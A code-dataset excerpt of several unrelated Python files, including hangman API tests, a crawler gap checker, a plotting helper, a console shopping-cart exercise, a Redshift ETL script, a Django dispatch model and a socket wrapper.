app.test_client()\n \n def test_post_gamelost(self):\n create_response=self.app.post(f\"/api/hangman\") #create game\n game_id=create_response.get_json()[\"gameId\"]\n\n self.app.get(f\"/api/hangman/{game_id}\") #get game by id\n\n for char in \"qwert\": #use incorrect input of len>5 of different chars\n post_data=json.dumps({\"letter\": char})\n response=self.app.post(f\"/api/hangman/{game_id}/guess\",data=post_data, content_type=\"application/json\")\n if char!=\"t\": #check response for in progress state\n self.assertEqual(response.get_json()['state'],\"IN_PROGRESS\")\n\n #check response after game over => should be \"LOST\"\n self.assertEqual(response.get_json()['state'],\"LOST\")\n\nclass TestInvalidInput(TestCase):\n def setUp(self):\n self.app = app.test_client()\n\n def test_invalid_input(self):\n #one could theoretically input infinite invalid inputs and it should not effect game_state\n create_response=self.app.post(f\"/api/hangman\") #create game\n game_id=create_response.get_json()[\"gameId\"]\n \n self.app.get(f\"/api/hangman/{game_id}\") #get game by id\n invalid_inputs=string.punctuation #'!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~'\n for char in invalid_inputs:\n post_data=json.dumps({\"letter\": char})\n response=self.app.post(f\"/api/hangman/{game_id}/guess\",data=post_data, content_type=\"application/json\")\n self.assertEqual(response.get_json()['state'],\"IN_PROGRESS\")\n \n \n","sub_path":"tests/test_api - Copy.py","file_name":"test_api - Copy.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"328053305","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport re\nimport json\nimport MySQLdb\nfrom os import path\nfrom zbsjwv2.settings import BASE_DIR, CRAWL_TYPE, REDIS_PARAMS, TEMP_DB, TEMP_TABLE, PROVINCE_ID, PROVINCE_ABBR_LIST\n\n\nITEMS_PER_PAGE = 30\n\ndef get_prov_abbr(area_id):\n '''\n 根据area_id 获取地区缩写\n '''\n for area_name, _id in PROVINCE_ID.items():\n if area_id == _id:\n return area_name\n\ndef check_lost(data_type, area_id, scope):\n '''\n 根据页面编号,从数据库中提取丢失的项\n '''\n\n db_temp = MySQLdb.connect(**TEMP_DB)\n cur_temp = db_temp.cursor()\n lost_item = []\n print('---data_type %s, area_id %s, scope %s--' % (data_type, area_id, scope))\n print('................waiting................')\n if data_type == 'zb':\n for page in scope:\n for i in range(0, ITEMS_PER_PAGE):\n page_num = int(page)*100 + i\n query = ('SELECT COUNT(*) FROM {} '\n 'WHERE area_id={} AND page_num={}'.format(TEMP_TABLE, area_id, page_num))\n cur_temp.execute(query)\n for nums in cur_temp:\n if nums[0] == 0:\n lost_item.append({\n 'area': get_prov_abbr(area_id),\n 'page_num': page_num,\n 'page': page,\n })\n print('---check page %s---' % page)\n print('---lost items number---%s' % len(lost_item))\n with open(path.join(BASE_DIR, 'lostdump/zb_lost_pages.json'), 'w+') as lost_file:\n json.dump(lost_item, lost_file)\n print('--write to file lostdump/zb_lost_pages.json')\n\n cur_temp.close()\n db_temp.close()\n\n\nif __name__ == '__main__':\n try:\n data_type = sys.argv[1]\n area = sys.argv[2]\n scope = sys.argv[3]\n except IndexError:\n print('参数: 数据类型, 区域缩写, 页面范围')\n else:\n area_id = PROVINCE_ID.get(area, None)\n if data_type in CRAWL_TYPE and area_id:\n patt = re.search(r'(^\\d+~\\d+$)|(^\\d+-\\d+$)|(^(\\d+,?)+$)', scope)\n if not patt:\n raise Exception('页面范围不合 %s' % scope)\n elif '~' in scope:\n start_page, end_page = scope.split('~')\n scope = range(int(start_page), int(end_page)+1)\n elif ',' in scope:\n scope = scope.split(',')\n elif '-' in scope:\n start_page, end_page = scope.split('-')\n scope = range(int(start_page), int(end_page)+1)\n else:\n scope = [int(scope)]\n check_lost(data_type, area_id, scope)\n else:\n print('数据类型 %r, 或地区缩写不在列表中, %r' % (CRAWL_TYPE, PROVINCE_ABBR_LIST))","sub_path":"zbsjwv2/check_lost.py","file_name":"check_lost.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"357756118","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport os\nfrom scipy.stats import stats\nfrom math import sqrt\nfrom sklearn.metrics import mean_squared_error\n\ndef make_scatter(X, \n y,\n file_name,\n xlabel,\n ylabel,\n title,\n same_xy = False,\n show_stat = True,\n labelsize = 15,\n legendsize = 15,\n titlesize = 15,\n ticksize = 15):\n \n graph_output_path = os.path.join(os.getcwd(), \n 'output_rs_learn',\n 'graphs')\n\n if not os.path.exists(graph_output_path):\n os.makedirs(graph_output_path)\n\n print()\n print('''\n args: X, y, unit, file_name, xlabel, ylabel, title, \n show_ave = True; if true average for x and y will be shown\n rmse = True; if true rmse will be computed\n ''') \n \n \n f, ax = plt.subplots(figsize = (8,8))\n \n # get x limits and y limits\n x_min = X.min()\n x_max = X.max()\n y_min = y.min()\n y_max = y.max()\n\n ax.set(xlim = (x_min, x_max), \n ylim = (y_min, y_max)) \n \n #plot the regression line\n slope, intercept, r_value, p_value, std_err = stats.linregress(X, y)\n \n p = intercept + slope * X\n \n ax.plot(X, \n p, \n '-',\n linewidth = 1,\n color = 'red',\n label = 'Line of best fit') \n \n #plot data\n ax.scatter(X, \n y,\n color = 'k',\n alpha = 1,\n facecolors = 'None',\n s = 25,\n marker = 's',\n linewidth = 1)\n \n if show_stat is True:\n \n\n\n\n #plot diagonal line\n if same_xy is False:\n diag_line, = ax.plot(ax.get_xlim(), \n ax.get_ylim(), \n ls = '--', \n c = 'b',\n label = 'x = y',\n linewidth = 1,\n alpha = 1)\n else:\n xy_axis = same_xy\n ax.set_xlim(xy_axis)\n ax.set_ylim(xy_axis)\n diag_line, = ax.plot(ax.get_xlim(), \n ax.get_ylim(), \n ls = '--', \n c = 'b',\n label = 'x = y',\n linewidth = 1,\n alpha = 1)\n \n #show average as point\n x_ave = X.mean()\n y_ave = y.mean()\n \n j = ax.scatter(x_ave, \n y_ave,\n color = 'green',\n alpha = 0.5,\n marker = 'o',\n linewidth = 8)\n \n j.set_zorder(20)\n \n #compute accuracy metrics \n # percent_err = ((X - y) / y) * 100\n rmse = sqrt(mean_squared_error(X, y)) \n # nrmse = np.std(percent_err)\n # mnb = np.mean(percent_err)\n # nmae = np.mean(np.abs(percent_err))\n r2 = r_value ** 2\n \n #put text \n \n txt = f'r: %.2f, r2: %.2f\\nrmse: %.2f'%(r_value,\n r2, \n rmse) \n \n else:\n r2 = r_value ** 2\n \n #put text\n txt = 'r: %.2f, r2: %.2f\\nrmse: %.2f'%(r_value,\n r2, \n rmse) \n \n #make psuedo point to add to legend\n ax.scatter(x_min,\n y_min,\n label = txt,\n alpha = 0)\n \n #put xy labels, title, and legend\n plt.xlabel(xlabel, \n fontsize = labelsize)\n \n plt.ylabel(ylabel, \n fontsize = labelsize)\n \n plt.xticks(fontsize = ticksize)\n plt.yticks(fontsize = ticksize)\n\n plt.title(title,\n loc = 'left',\n fontsize = titlesize)\n \n m = plt.legend(loc = 'best',\n framealpha = 0.9,\n fontsize = legendsize,\n facecolor = 'grey')\n \n m.set_zorder(21)\n\n \n #save figure\n plt.tight_layout()\n\n plt.savefig(os.path.join(graph_output_path,\n f'{file_name}_scatter.png'),\n dpi = 300)\n \n plt.show()\n \n# import pandas as pd\n# df = pd.read_csv(\"sample_data.csv\")\n\n# make_scatter(df.iloc[:,0], \n# df.iloc[:,1],\n# file_name = 'test',\n# xlabel = 'Prediction',\n# ylabel = 'Actual',\n# title = 'Actual vs. Predicted',\n# labelsize = 15,\n# same_xy = [0,100],\n# show_stat = True\n# )\n\n","sub_path":"make_scatter.py","file_name":"make_scatter.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"515991143","text":"'''\r\n 商城:\r\n 1.商城\r\n 2.薪资\r\n 3.我的购物车\r\n 逻辑:\r\n 1.初始化您的薪资\r\n 2.展示商城商品\r\n 3.输入商品编号\r\n 4.看钱够不够\r\n 4.1 够了,就添加我的购物车,薪资减去相对应的金额\r\n 4.2 不够,买其他的\r\n 继续卖东西,一直到输入Q或者q,退出\r\n'''\r\nimport xlrd\r\nimport random\r\n\r\n# 获取工作簿\r\nwb = xlrd.open_workbook(filename=\"商城.xlsx\",encoding_override=True)\r\n\r\n# 通过wb获取选项卡\r\nsheet = wb.sheet_by_name(\"运动商城\")\r\n\r\n# 获取行列数据\r\nrows = sheet.nrows #多少行\r\ncols = sheet.ncols #多少列\r\n\r\n#购物车\r\nmycart = []\r\nshop = []\r\n# 优惠卷\r\ncoupon = [\r\n [\"辣条优惠券满600-300\",1],\r\n [\"Lenovo电脑半价优惠券\",1]\r\n]\r\n# 我的优惠券\r\ncoupon1 = []\r\n\r\n\r\n# 积分\r\nintegral = 0\r\n\r\n# 2.初始化自己的薪资\r\nsalary = input(\"请输入您的薪资:\")\r\n\r\n#初始总薪资\r\nsalary1 = int(salary)\r\nprint(\"薪资为:\",salary)\r\n\r\n\r\ni = random.randint(1,30)\r\nif i >=1 and i <=10:\r\n coupon1.append(coupon[0])\r\n print(\"恭喜您抽中1张辣条优惠券满600-300\")\r\n print(\"您的优惠券剩余:\",coupon1)\r\nif i >= 11 and i<=30:\r\n coupon1.append(coupon[1])\r\n print(\"恭喜您抽中1张Lenovo电脑半价优惠券\")\r\n print(\"您的优惠券剩余:\", coupon1)\r\n\r\n\r\nwhile True:\r\n #3.展示商城商品\r\n # 打印每行\r\n sum = 0\r\n for i in range(rows):\r\n sum = sum + 1\r\n data = sheet.row_values(i)\r\n shop.append(data)\r\n print(data)\r\n #输入商品编号:num 是商品编号\r\n num = input(\"请输入您要购买的商品编号:\")\r\n print(shop)\r\n # 若是0 1 2 3 4 5 6 7 8 9, 若是 Q或者q:退出 ,若都不是:输入非法\r\n if num.isdigit(): #检测字符串是否只由数字转成\r\n num = int(num)\r\n if num >= sum:\r\n print(\"商品不存在!!!请您重新输入\")\r\n else:\r\n #可以买东西\r\n salary = int(salary)\r\n\r\n if salary >= int(shop[num][2]):\r\n if num == 15 and shop[num][2] >=600:\r\n if coupon1[0][0] == \"辣条优惠券满600-300\":\r\n print(\"是否使用优惠券: 0.是 1.不是\")\r\n change = input()\r\n change = int(change)\r\n if change == 0:\r\n coupon1[0][1] = int(coupon1[0][1])\r\n if coupon1[0][1] > 0:\r\n mycart.append([shop[num][1],shop[num][2]-300])\r\n shop[num][2] = int(shop[num][2])\r\n salary = salary - (shop[num][2]-300)\r\n coupon1[0][1] = coupon1[0][1]-1\r\n print(\"-------------------------------------\")\r\n print(\"添加购物车成功!!!!\")\r\n print(\"您的薪资剩余:\", salary)\r\n print(\"您的优惠券剩余:\", coupon1)\r\n print(\"-------------------------------------\")\r\n else:\r\n print(\"优惠卷不足\")\r\n if change == 1:\r\n mycart.append(shop[num])\r\n shop[num][2] = int(shop[num][2])\r\n salary = salary - shop[num][2]\r\n print(\"-------------------------------------\")\r\n print(\"添加购物车成功!!!!\")\r\n print(\"您的薪资剩余:\", salary)\r\n print(\"您的优惠券剩余:\", coupon1)\r\n print(\"-------------------------------------\")\r\n\r\n elif num == 16:\r\n if coupon1[0][0] == \"Lenovo电脑半价优惠券\":\r\n print(\"是否使用优惠券: 0.是 1.不是\")\r\n change1 = input()\r\n change1 = int(change1)\r\n if change1 == 0:\r\n coupon1[0][1] = int(coupon1[0][1])\r\n if coupon1[0][1] > 0:\r\n mycart.append([shop[num][1],shop[num][2]*0.5])\r\n shop[num][2] = int(shop[num][2])\r\n salary = salary - (shop[num][2]/ 300)\r\n coupon1[0][1] = coupon1[0][1] - 1\r\n print(\"-------------------------------------\")\r\n print(\"添加购物车成功!!!!\")\r\n print(\"您的薪资剩余:\", salary)\r\n print(\"您的优惠券剩余:\", coupon1)\r\n print(\"-------------------------------------\")\r\n else:\r\n print(\"优惠券不足\")\r\n if change1 == 1:\r\n\r\n mycart.append(shop[num])\r\n shop[num][2] = int(shop[num][2])\r\n salary = salary - shop[num][2]\r\n print(\"-------------------------------------\")\r\n print(\"添加购物车成功!!!!\")\r\n print(\"您的薪资剩余:\", salary)\r\n print(\"您的优惠券剩余:\", coupon1)\r\n print(\"-------------------------------------\")\r\n\r\n else:\r\n #添加购物车\r\n mycart.append(shop[num])\r\n shop[num][2] = int(shop[num][2])\r\n salary = salary - shop[num][2]\r\n print(\"-------------------------------------\")\r\n print(\"添加购物车成功!!!!\")\r\n print(\"您的薪资剩余:\",salary)\r\n print(\"您的优惠券剩余:\",coupon1)\r\n print(\"-------------------------------------\")\r\n else:\r\n print(\"-------------------------------------\")\r\n print(\"您的薪资不足,请充值!!!\")\r\n print(\"-------------------------------------\")\r\n\r\n elif num == \"q\" or num == \"Q\":\r\n\r\n print(\"------------您的购物清单为--------------\")\r\n print(\"-------------------------------------\")\r\n print(\"购买的商品:\")\r\n for index, value in enumerate(mycart): # enumerate() 枚举:将所有可能都列出来\r\n print(index, value)\r\n print(\"-------------------------------------\")\r\n print(\"剩余薪资为:\",salary)\r\n integral = (salary1-salary)/10\r\n integral = int(integral)\r\n print(\"您的积分为:\", integral)\r\n print(\"您的优惠券剩余:\", coupon1)\r\n print(\"--------------------------------------\")\r\n print(\"欢迎您下次光临\")\r\n break\r\n else:\r\n print(\"输入非法,请重新输入\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"day13/class/work03/商城系统.py","file_name":"商城系统.py","file_ext":"py","file_size_in_byte":7237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"141889808","text":"from cards import Cards\nfrom players import Players\n\n\nprint(\"\\nToday we play Poker! \\n\")\n\ncards = Cards()\ndeck1 = cards.make_deck()\n\n\nluke = Players(\"Luke\")\nslim = Players(\"Slim\")\n\nluke.hand = Cards().deal_cards(deck1,5)\nslim.hand = Cards().deal_cards(deck1,5)\n\nluke_sum = Cards().total_of_hand(luke.hand)\nslim_sum = Cards().total_of_hand(slim.hand)\n\ntotal = luke_sum+slim_sum\n\nprint(\"Total of both hands are: \" + str(total) +\"\\n\")\n\nluke.hand = Cards().throw_cards(luke.hand,2)\nslim.hand = Cards().throw_cards(slim.hand,2)\n\nCards().draw_cards(deck1,luke.hand,2)\nCards().draw_cards(deck1,slim.hand,2)\n\n\nprint()\n\nluke.game_end(deck1)\nslim.game_end(deck1)\nprint(Cards().throwaway_heap)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"601243256","text":"import configparser\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\nimport time\n\n\ndef load_staging_tables(cur, conn):\n \"\"\"Load staging tables from S3 to Amazon Redshift using COPY commend in the query.\n Args:\n cur: cursor class creatd by the connection.cursor() method\n conn: connection created via pyscopg2.connect() method \n \"\"\"\n for query in copy_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef insert_tables(cur, conn):\n \"\"\"Insert tables in the START schema with data from staging table in Amazon Redshift\n Args:\n cur: cursor class creatd by the connection.cursor() method\n conn: connection created via pyscopg2.connect() method \n \"\"\"\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n cur = conn.cursor()\n \n start_time = time.time()\n \n load_staging_tables(cur, conn)\n insert_tables(cur, conn)\n \n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"project 3 - data warehouse with Amazon Redshift/.ipynb_checkpoints/etl-checkpoint.py","file_name":"etl-checkpoint.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"606088702","text":"from euler import choose\n\n''' The largest possible multiplicand in the numerator is 51, whose largest prime factor is sqrt(51) = 7.\n Therefore, the only possible prime factors are 2, 3, 5, and 7.\n'''\nprime_factors = [2, 3, 5, 7]\n\n\ndef compute():\n square_free = set()\n for n in range(1, 51):\n for k in range(int(n/2)+1):\n if all(choose(n,k) % (p**2) != 0 for p in prime_factors):\n square_free.add(choose(n,k))\n return sum(square_free)\n\n\nif __name__ == \"__main__\":\n print(compute())\n","sub_path":"Python/203.py","file_name":"203.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"368359759","text":"import logging\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.db.models import get_model\nfrom django.db.models import ForeignKey, ManyToManyField, OneToOneField\n\nfrom edc_device import device\n\nfrom ..exceptions import AlreadyDispatchedContainer, AlreadyDispatchedItem, DispatchContainerError\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass NullHandler(logging.Handler):\n def emit(self, record):\n pass\nnullhandler = logger.addHandler(NullHandler())\n\n\nclass BaseDispatchSyncUuidModel(models.Model):\n \"\"\"Base model for all UUID models and adds dispatch methods and signals. \"\"\"\n\n def __init__(self, *args, **kwargs):\n self._user_container_instance = None\n self.using = 'default'\n super(BaseDispatchSyncUuidModel, self).__init__(*args, **kwargs)\n\n def is_dispatch_container_model(self):\n \"\"\"Flags a model as a container model that if dispatched\n will not appear in DispatchItems, but rather in DispatchContainerRegister.\"\"\"\n return False\n\n def ignore_for_dispatch(self):\n \"\"\"Flgas a model to be ignored by the dispatch infrastructure.\n\n ..note:: only use this for models that exist in an app listed\n in the settings.DISPATCH_APP_LABELS but need to be\n ignored (which should not be very often).\"\"\"\n return False\n\n def include_for_dispatch(self):\n \"\"\"Flgas a model to be included by the dispatch infrastructure.\n\n ..note:: only use this for models that do not exist in an app\n listed in the settings.DISPATCH_APP_LABELS but need\n to be included (which should not be very often).\"\"\"\n return False\n\n def is_dispatchable_model(self):\n if self.ignore_for_dispatch():\n return False\n if self._meta.app_label not in settings.DISPATCH_APP_LABELS:\n if self.include_for_dispatch():\n return True\n else:\n return False\n return True\n\n def dispatched_as_container_identifier_attr(self):\n \"\"\"Override to return the field attrname of the\n identifier used for the dispatch container.\n\n Must be an field attname on the model used as a dispatch\n container, such as, household_identifier on model Household.\"\"\"\n raise ImproperlyConfigured('Model {0} is not configured for dispatch as a '\n 'container. Missing method '\n 'dispatched_as_container_identifier_attr()'.format(self._meta.object_name))\n\n def is_dispatched(self, using=None):\n \"\"\"Returns True is the model instance is dispatched otherwise False.\n\n The model instance may be a container or an item within a container.\"\"\"\n self.using = using or self.using\n if not self.bypass_for_edit_dispatched_as_item():\n if self.is_dispatch_container_model():\n return self.is_dispatched_as_container()\n else:\n return self.is_dispatched_as_item()\n else:\n return False\n\n def is_dispatched_as_container(self, using=None):\n \"\"\"Determines if a model instance is dispatched as a container.\n\n The container is at the top of the dispatch hierarchy.\n\n For example: a household model instance may serve as a\n container for all household members and data.\"\"\"\n self.using = using or self.using\n if self.is_dispatch_container_model():\n try:\n return self.dispatched_container_item.is_dispatched\n except AttributeError:\n return False\n\n @property\n def dispatched_container_item(self):\n \"\"\"Returns an instance from DispatchContainerRegister for a dispatched container item or None.\n\n .. seealso::, :func:`dispatched_item`\"\"\"\n DispatchContainerRegister = get_model('dispatch', 'DispatchContainerRegister')\n try:\n return DispatchContainerRegister.objects.using(self.using).get(\n container_identifier=getattr(self, self.dispatched_as_container_identifier_attr()),\n is_dispatched=True,\n return_datetime__isnull=True)\n except DispatchContainerRegister.DoesNotExist:\n return None\n\n def is_current_device_server(self):\n return device.is_server\n\n def is_dispatched_within_user_container(self, using=None):\n \"\"\"Returns True if the model class is dispatched within a\n user container.\n\n Using the look_up attrs defined on the model, queries\n up the relational hierarchy to the container model.\n\n ..note:: an item is considered dispatched if it's container\n is dispatched. It usually is also registered as a\n dispatched item, but as described below, this may\n not always be true.\n\n For example::\n a subject_consent would be considered dispatched if\n the method on subject_consent, :func:`dispatch_container_lookup`,\n returned a lookup query string that points the subject consent to\n an instance of household that is itself dispatched. The household\n is the container. The subject consent is considered dispatched\n because it's container is dispatched. The subject consent might\n not have a corresponding DispatchItemRegister. This might happen\n if the subject_consent is created on the producer and re-synced\n with the source before the Household is returned.\"\"\"\n return self.user_container_instance.is_dispatched()\n\n @property\n def user_container_model_cls(self):\n \"\"\"Returns the model class at the top of the dispatch heirarchy.\"\"\"\n user_container_model_cls = self.dispatch_container_lookup()[0]\n if isinstance(user_container_model_cls, (list, tuple)):\n user_container_model_cls = get_model(user_container_model_cls[0], user_container_model_cls[1])\n return user_container_model_cls\n\n @property\n def lookup_attrs(self):\n \"\"\"Returns an ordered list of attribute names split from a query_string\n where the last attribute is the field name of the model class\n at the top of the dispatch hierarchy.\n\n ..seealso:: :func:`user_container_model_cls`\"\"\"\n lookup_attrs = self.dispatch_container_lookup()[1]\n if not isinstance(lookup_attrs, basestring):\n raise TypeError('Method dispatch_container_lookup must return a (model class/tuple, list) '\n 'that points to the user container')\n return lookup_attrs.split('__')\n\n @property\n def does_not_exist_exceptions(self):\n \"\"\"Prepares and returns a list of DoesNotExist exceptions for self and each related model.\"\"\"\n return tuple(set(\n [field.related.parent_model.DoesNotExist for field in self._meta.fields\n if isinstance(field, (ForeignKey, ManyToManyField, OneToOneField))] +\n [self.DoesNotExist])\n )\n\n @property\n def user_container_instance(self):\n \"\"\"Returns the instance of the model at the top of the dispatch\n hierarchy.\"\"\"\n # if self.dispatch_container_lookup():\n lookup = None\n for attrname in self.lookup_attrs:\n try:\n # find the instance at the top of the dispatch hierarchy\n user_container_instance = lookup or self\n # ... and the attr value from the instance\n lookup = getattr(user_container_instance, attrname, None)\n except self.does_not_exist_exceptions:\n # if the foreign_key that relates to the dispatch\n # container has not been set, it is not possible\n # to determine the dispatch status. This error should\n # not be excepted.\n raise DispatchContainerError(\n 'Unable to lookup the instance for user_container '\n '{0} on model {1}. Failed on {2}.{3}'.format(\n self.user_container_model_cls._meta.object_name,\n self.__class__._meta.object_name,\n user_container_instance.__class__._meta.object_name,\n attrname))\n return user_container_instance\n\n def dispatch_container_lookup(self):\n \"\"\"Returns a query string in the django format.\n\n User must override.\n\n if the model has no path to the user_container, such as\n Appointment or RegisteredSubject, override like this::\n\n def dispatch_container_lookup(self):\n return None\n if the model does have a relational path to the\n user_container, override like this::\n\n def dispatch_container_lookup(self):\n return (container_model_cls, 'django__style__path__to__container')\n\n For example:\n with a relational structure like this::\n self\n household_structure_member\n household_structure\n household.household_identifier\n\n where 'household' is the user container with\n identifier attr 'household_identifier',\n would return something like this:\n (Household, 'household_structure_member__household_structure__household__household_identifier')\n \"\"\"\n raise ImproperlyConfigured('Model {0} is not configured for dispatch. '\n 'Missing method \\'dispatch_container_lookup\\''.format(self._meta.object_name))\n\n def _bypass_for_edit(self, using=None, update_fields=None):\n using = using or 'default'\n # We only want to check this if trying to edit locally, NOT when dispatching.\n if using in ['default', None] and not self.bypass_for_edit_dispatched_as_item(using, update_fields):\n if not self.id:\n raise AlreadyDispatchedItem('Model {0}-{1}, although dispatched, may only be '\n 'conditionally edited. New instances are not '\n 'allowed.'.format(self._meta.object_name, self.pk))\n return True\n return True\n\n def bypass_for_edit_dispatched_as_item(self, using=None, update_fields=None):\n \"\"\"Users may override to allow a model to be edited even thoug it is dispatched.\n\n .. warning:: avoid using this. it only allows edits. you are responsible to\n ensure your actions will not lead to data conflicts. so it is best to also\n limit which fields may be edited.\n \"\"\"\n return False\n\n def is_dispatched_as_item(self, using=None, user_container=None):\n \"\"\"Returns the models 'dispatched' status in model DispatchItemRegister.\"\"\"\n is_dispatched = False\n if self.is_dispatchable_model():\n if self.dispatched_item(using):\n is_dispatched = True\n if not is_dispatched:\n if not self.is_dispatch_container_model():\n # if item is not registered with DispatchItemRegister AND\n # we are not checking on behalf of\n # a user_container ...\n if not is_dispatched and not user_container:\n is_dispatched = self.is_dispatched_within_user_container(using)\n if not isinstance(is_dispatched, bool):\n raise TypeError('Expected a boolean as a return value from '\n 'method is_dispatched_within_user_container(). '\n 'Got {0}'.format(is_dispatched))\n return is_dispatched\n\n def dispatched_item(self, using=None):\n \"\"\"Checks the DispatchItemRegister and returns the\n dispatch_item instance if one exists for this model\n instance; that is, this model instance is \"dispatched\".\n\n .. warning:: this is not the same as determining if a model\n is dispatched within a container. To determine if\n an instance is dispatched, use :func:`is_dispatched`.\n \"\"\"\n dispatch_item = None\n using = using or 'default'\n if self.id:\n if self.is_dispatchable_model():\n DispatchItemRegister = get_model('dispatch', 'DispatchItemRegister')\n try:\n dispatch_item = DispatchItemRegister.objects.using(using).get(\n item_app_label=self._meta.app_label,\n item_model_name=self._meta.object_name,\n item_pk=self.pk,\n is_dispatched=True)\n except DispatchItemRegister.DoesNotExist:\n pass\n return dispatch_item\n\n @property\n def dispatched_to(self):\n \"\"\"Returns the producer name that this model instance is\n dispatched to otherwise None.\n \"\"\"\n try:\n return self.dispatched_container_item.producer.name\n except AttributeError:\n return None\n\n def save(self, *args, **kwargs):\n using = kwargs.get('using')\n update_fields = kwargs.get('update_fields') or None\n if self.id:\n if self.is_dispatchable_model():\n if self.is_dispatch_container_model():\n if not self._bypass_for_edit(using, update_fields):\n if self.is_dispatched_as_container(using):\n raise AlreadyDispatchedContainer('Model {0}-{1} is currently dispatched '\n 'as a container for other dispatched '\n 'items.'.format(self._meta.object_name, self.pk))\n if not self._bypass_for_edit(using, update_fields):\n if self.is_dispatched_as_item(using):\n raise AlreadyDispatchedItem('Model {0}-{1} is currently dispatched'.format(\n self._meta.object_name, self.pk))\n super(BaseDispatchSyncUuidModel, self).save(*args, **kwargs)\n\n class Meta:\n abstract = True\n","sub_path":"edc/device/dispatch/models/base_dispatch_sync_uuid_model.py","file_name":"base_dispatch_sync_uuid_model.py","file_ext":"py","file_size_in_byte":14332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"386406198","text":"from socket import *\n\n# enum\n\nclass nlsocket(socket):\n\t'''\n\tSubclass of socket.socket. Two sole differences:\n\t- nlsockets offer 'nl' functions that do multiple recvs/sends until a \n\tnewline is read/written.\n\t'''\n\trecv_size = 512\n\n\tdef __init__(self, address_family, socket_type):\n\t\tsuper().__init__(address_family, socket_type)\n\n\tdef nlrecv(self):\n\t\t'''\n\t\tDoes multiple recvs until it finds a newline.\n\t\t'''\t\n\t\tmsg = b''\n\t\twhile not msg.endswith(b'\\n'):\n\t\t\tmsg += self.recv(self.recv_size)\n\t\treturn msg\n\t\t\n\tdef nlrecvfrom(self):\n\t\t'''\n\t\tSame as normal recvfrom, but only stops reading when it finds a newline.\n\t\tDoes not take a 'buffersize' argument since it only stops at the newline.\n\t\t'''\n\t\t(msg, addr) = self.recvfrom(self.recv_size)\n\t\twhile not msg.endswith(b'\\n'):\n\t\t\tmsg += self.recv(self.recv_size)\n\t\treturn (msg, addr)\n\n\tdef nlsend(self, msg):\n\t\tif not msg.endswith(b'\\n'):\n\t\t\tmsg += b'\\n'\n\t\tsentc = 0\n\t\twhile sentc < len(msg):\n\t\t\tsentc += self.send(msg[sentc:])\n\t\treturn sentc\n\n\tdef nlsendto(self, msg, addr):\n\t\tif not msg.endswith(b'\\n'):\n\t\t\tmsg += b'\\n'\n\t\tsentc = 0\n\t\twhile sentc < len(msg):\n\t\t\tsentc += self.sendto(msg[sentc:], addr)\n","sub_path":"nlsocket.py","file_name":"nlsocket.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"264155917","text":"from rooms import lvl_parent\nfrom textures import ground, lava\nfrom characters import *\n\n\nclass LvlPrologue(lvl_parent.LvlPar):\n\n def __init__(self):\n self.hero_pos = (6, 3)\n self.len = 7\n super().__init__()\n\n def init_map(self):\n # init texture\n for i in range(0, self.len):\n self.grid[0][i] = lava.Lava(self.pos(0, i))\n if i != 3:\n self.grid[1][i] = lava.Lava(self.pos(1, i))\n self.grid[6][i] = lava.Lava(self.pos(6, i))\n else:\n self.grid[1][i] = ground.Ground(self.pos(1, i))\n self.grid[6][i] = ground.Ground(self.pos(6, i))\n if i == 0 or i == 6:\n self.grid[2][i] = lava.Lava(self.pos(2, i))\n self.grid[3][i] = lava.Lava(self.pos(3, i))\n else:\n self.grid[2][i] = ground.Ground(self.pos(2, i))\n self.grid[3][i] = ground.Ground(self.pos(3, i))\n if i == 0 or i == 1 or i == 5 or i == 6:\n self.grid[4][i] = lava.Lava(self.pos(4, i))\n self.grid[5][i] = lava.Lava(self.pos(5, i))\n else:\n self.grid[4][i] = ground.Ground(self.pos(4, i))\n self.grid[5][i] = ground.Ground(self.pos(5, i))\n\n def init_level(self):\n\n # self.grid[1][3].setObj(m_dguard.DemonguardMage(self.pos(1, 3)))\n self.grid[2][2].setObj(m_dguard.DemonguardMage(self.pos(2, 2)))\n self.grid[2][5].setObj(m_dguard.DemonguardMage(self.pos(2, 5)))\n self.grid[3][3].setObj(w_dguard.DemonguardWarrior(self.pos(3, 3)))\n self.grid[2][3].setObj(boss.Boss(self.pos(2, 3)))\n self.grid[5][2].setObj(soldier.Soldier(self.pos(5, 2)))\n # self.grid[5][4].setObj(soldier.Soldier(self.pos(5, 4)))\n self.grid[4][3].setObj(defender.Defender(self.pos(4, 3)))\n 